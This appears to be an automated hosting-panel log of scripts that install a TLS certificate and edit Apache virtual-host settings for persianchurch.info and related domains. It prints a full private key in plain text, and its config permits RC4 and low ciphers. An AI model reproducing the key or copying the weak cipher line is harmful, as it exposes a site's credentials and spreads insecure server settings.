OxuPn2Q9Va3wg8h9hqpSbbokozwLmGqmLQf7AJ2gFJ3lsTJPW/r6Yv291xQEexcX
On7d7z2+YjFyZguv3CA2fD2Jo0y0qboo5IJDudAP96zuvRQjdYu80nkoAA0ngwag
7FgLrx+CeYQZLntTzwWZz+AvZfPPWGqqaOa8dtLNTIo+VjjGrTo0M0Qk2Ixwmrv6
kRiC/T3CxMUdkQjOVw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC6ocsqx8VVS7ZL
ows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT+xCe2EAUrt1aXKrgT0vj
BnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/pg/mWxJN+RY/Jhr2duGac
dhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWPctT64MpNCrrfn2a7qjF3
CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5C8qtAOe1DZRIBhknw47p
IRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX+hDfjpiBZjeXOFQDfoJ/
g8+YmUErAgMBAAECggEBAKUA4rUiBi+RTsy0i/svtfOKMhaRU3UHTUKrJwlpxpzK
1okMQN/fQf7rRT+UG2+01YLzzzRS9ah3syo2zK2M72KdSyVL7+DzbDGxYEQnAR0Z
KNPX9FjnqQDDhUpZqlNH3Pco3SVZgU9udxohsiYhYGzGx3kV5e7wzgaSzaKJiTvn
lsQKZElC9p6fI1usS1NRYjclLdtvRVUmcChGFivwSVaP6uiBXC39bfYbNo+TV1WK
flLQhrJWHKe+tPvtFlpAELxenMVU6UFX3JUsinltvxHUXHtNIIyCmyQNIRq3qOg+
tCe/90PlNZeGggXHG58XP+cQ303e9ZBrh+a8oTspq2ECgYEA5uV30LGFhtQPFKdT
8QcTZpjp/YtvG32TOpsNGK0Lkn3ZMc6MIqJKYvOhEpvv/0oDMhNlGk/KbHrRh9Xe
KQAw3TxG0mM4Gkl0DW43HrH8MGm8yLCbnBrXEqefJmScNV0OeKwEd06+CUbn5o0V
lOSGoLL2lLWJ/4Vw2PseAFkfz0kCgYEAzuxRLB0HVSw/N/+wXm+LX+bQ9///wsnk
SlxAeMzcqUqZbqmDi6j426f1dvUtc2vTbv4SahyhbQ0P3Aey6PqkW600rW3JzfUq
W5gEHAQU42KvzV7SqHjixnGnbHK7OLn3ucI/2YpylLKtOb9GxkR8BWwDOHYUJVOJ
WBslDC0OKNMCgYEAkys3j0FXRnTrl9J/YmWMLBzTJ9Qz4WXM7dHeKxhBBAJK6cAo
+fpPR3rZ866I7kMSflx2WKr67uHpo5bhn2iLvLeqvHaZT8f5vIW/hEUV5RXASnqm
9Hz3EODeQ+5k0m6Zxrh9sD30Sp1zOjQ6yUhPtyXanTaI2uEG6IZGvRoReGECgYBo
hvQSRq+3lNxym1Uqv0o2rdCOFuHKMlaCQcvHuiUV17teLX9oA3mC7HuRFhVZovRx
syL2O3RINDr4uWLlUgfIz9w2Z6lzww8cqdQZmu46V1XbdrUPqdFU0YDzxZlR9I9x
ZPEAIXH0L7ZV34wPB/Vmf8O4t91BZcuRmFTEq9XlRQKBgBszFdfy+AFDkHMRu61c
lJgiRlETTfEBVrbM9idRB9Lj90U28URMewJb0RvRJxgDWlC1mUqpI1T0hCTHoCFG
AelOH+j7xYdQSIScqWFGdnxcPqMBxtu9YxZLl55ATT9uzvl5LCRQAACcSI3tG5TK
TsSiy3QaCcIV1CqitL54dokJ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-21 06:00:27: 

chmod 755 /tmp/pkp132901; /tmp/pkp132901; rm /tmp/pkp132901

2025-10-21 06:00:27: 


dir=/etc/ssl/certs


2025-10-21 06:00:27: 

PUT: /tmp/pkp498939

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-21 06:00:27: 

chmod 755 /tmp/pkp498939; /tmp/pkp498939; rm /tmp/pkp498939

2025-10-21 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-21 06:00:28: 

PUT: /tmp/pkp285201

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi


2025-10-21 06:00:28: 

chmod 755 /tmp/pkp285201; /tmp/pkp285201; rm /tmp/pkp285201

2025-10-21 06:00:28: 




2025-10-21 06:00:28: 

PUT: /tmp/pkp520617

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-21 06:00:29: 

chmod 755 /tmp/pkp520617; /tmp/pkp520617; rm /tmp/pkp520617

2025-10-21 06:00:29: 


.


2025-10-21 06:00:29: Establishing a connection
2025-10-21 06:00:31: 

PUT: /tmp/pkp643908

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-21 06:00:32: 

chmod 755 /tmp/pkp643908; /tmp/pkp643908; rm /tmp/pkp643908

2025-10-21 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-21 06:00:32: 

PUT: /tmp/pkp438825

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-21 06:00:32: 

chmod 755 /tmp/pkp438825; /tmp/pkp438825; rm /tmp/pkp438825

2025-10-21 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-21 06:00:33: 

PUT: /tmp/pkp537984

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-21 06:00:33: 

chmod 755 /tmp/pkp537984; /tmp/pkp537984; rm /tmp/pkp537984

2025-10-21 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt	5393
06:5e:8e:db:09:9c:4d:9b:9e:bb:2b:73:4f:13:8d:fa

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkS+2Ly9bJ/pnBkC+zwBRRT0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMTUwWhcNMjYwMTE5MDUwMTQ5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC6ocsqx8VVS7ZLows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT
+xCe2EAUrt1aXKrgT0vjBnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/p
g/mWxJN+RY/Jhr2duGacdhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWP
ctT64MpNCrrfn2a7qjF3CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5
C8qtAOe1DZRIBhknw47pIRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX
+hDfjpiBZjeXOFQDfoJ/g8+YmUErAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFF/B/5sGB11zK1IJ/nqN4BecMkvlMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmgVariAAAAQDAEYwRAIgCY4Dv7IIWjkutYjES8UvfRDS
EWZwMlwHdZv/hLv27OcCIHBvFTn/KNmqLVhWE7iLgAwHEBmNWtdbV23D6NmFkfmE
AHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaBVq16QAABAMA
SDBGAiEAmwXzujlnGY34eCmLaXwp70Lkt7WLNMVs2C0a7a9vZVMCIQCvl48S/O3d
v03kP8u8KVTL/FqlL6m1GzTtvNvp6FBWIzANBgkqhkiG9w0BAQsFAAOCAQEAVgj0
FJxbpR8jV3JYr2ooJrwHIbKaL9pfVe6ae/DGKLvhpqts+jV/ofyhyyGz9XF4Bg+c
/xAGOQJX8qKMmyY4gKuqacL0vapmKIoXRPyBgCsE7c7SazQ6xJ5ZZuxYKvYE1+ov
OxuPn2Q9Va3wg8h9hqpSbbokozwLmGqmLQf7AJ2gFJ3lsTJPW/r6Yv291xQEexcX
On7d7z2+YjFyZguv3CA2fD2Jo0y0qboo5IJDudAP96zuvRQjdYu80nkoAA0ngwag
7FgLrx+CeYQZLntTzwWZz+AvZfPPWGqqaOa8dtLNTIo+VjjGrTo0M0Qk2Ixwmrv6
kRiC/T3CxMUdkQjOVw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC6ocsqx8VVS7ZL
ows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT+xCe2EAUrt1aXKrgT0vj
BnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/pg/mWxJN+RY/Jhr2duGac
dhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWPctT64MpNCrrfn2a7qjF3
CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5C8qtAOe1DZRIBhknw47p
IRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX+hDfjpiBZjeXOFQDfoJ/
g8+YmUErAgMBAAECggEBAKUA4rUiBi+RTsy0i/svtfOKMhaRU3UHTUKrJwlpxpzK
1okMQN/fQf7rRT+UG2+01YLzzzRS9ah3syo2zK2M72KdSyVL7+DzbDGxYEQnAR0Z
KNPX9FjnqQDDhUpZqlNH3Pco3SVZgU9udxohsiYhYGzGx3kV5e7wzgaSzaKJiTvn
lsQKZElC9p6fI1usS1NRYjclLdtvRVUmcChGFivwSVaP6uiBXC39bfYbNo+TV1WK
flLQhrJWHKe+tPvtFlpAELxenMVU6UFX3JUsinltvxHUXHtNIIyCmyQNIRq3qOg+
tCe/90PlNZeGggXHG58XP+cQ303e9ZBrh+a8oTspq2ECgYEA5uV30LGFhtQPFKdT
8QcTZpjp/YtvG32TOpsNGK0Lkn3ZMc6MIqJKYvOhEpvv/0oDMhNlGk/KbHrRh9Xe
KQAw3TxG0mM4Gkl0DW43HrH8MGm8yLCbnBrXEqefJmScNV0OeKwEd06+CUbn5o0V
lOSGoLL2lLWJ/4Vw2PseAFkfz0kCgYEAzuxRLB0HVSw/N/+wXm+LX+bQ9///wsnk
SlxAeMzcqUqZbqmDi6j426f1dvUtc2vTbv4SahyhbQ0P3Aey6PqkW600rW3JzfUq
W5gEHAQU42KvzV7SqHjixnGnbHK7OLn3ucI/2YpylLKtOb9GxkR8BWwDOHYUJVOJ
WBslDC0OKNMCgYEAkys3j0FXRnTrl9J/YmWMLBzTJ9Qz4WXM7dHeKxhBBAJK6cAo
+fpPR3rZ866I7kMSflx2WKr67uHpo5bhn2iLvLeqvHaZT8f5vIW/hEUV5RXASnqm
9Hz3EODeQ+5k0m6Zxrh9sD30Sp1zOjQ6yUhPtyXanTaI2uEG6IZGvRoReGECgYBo
hvQSRq+3lNxym1Uqv0o2rdCOFuHKMlaCQcvHuiUV17teLX9oA3mC7HuRFhVZovRx
syL2O3RINDr4uWLlUgfIz9w2Z6lzww8cqdQZmu46V1XbdrUPqdFU0YDzxZlR9I9x
ZPEAIXH0L7ZV34wPB/Vmf8O4t91BZcuRmFTEq9XlRQKBgBszFdfy+AFDkHMRu61c
lJgiRlETTfEBVrbM9idRB9Lj90U28URMewJb0RvRJxgDWlC1mUqpI1T0hCTHoCFG
AelOH+j7xYdQSIScqWFGdnxcPqMBxtu9YxZLl55ATT9uzvl5LCRQAACcSI3tG5TK
TsSiy3QaCcIV1CqitL54dokJ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-21 06:00:34: Establishing a connection
2025-10-21 06:00:34: Establishing a connection
2025-10-21 06:00:34: 

PUT: /tmp/pkp645561

#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-21 06:00:39: 

chmod 755 /tmp/pkp645561; /tmp/pkp645561; rm /tmp/pkp645561

2025-10-21 06:00:39: 


1


2025-10-21 06:00:39: Establishing a connection
2025-10-21 06:00:39: 

PUT: /tmp/pkp950714

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
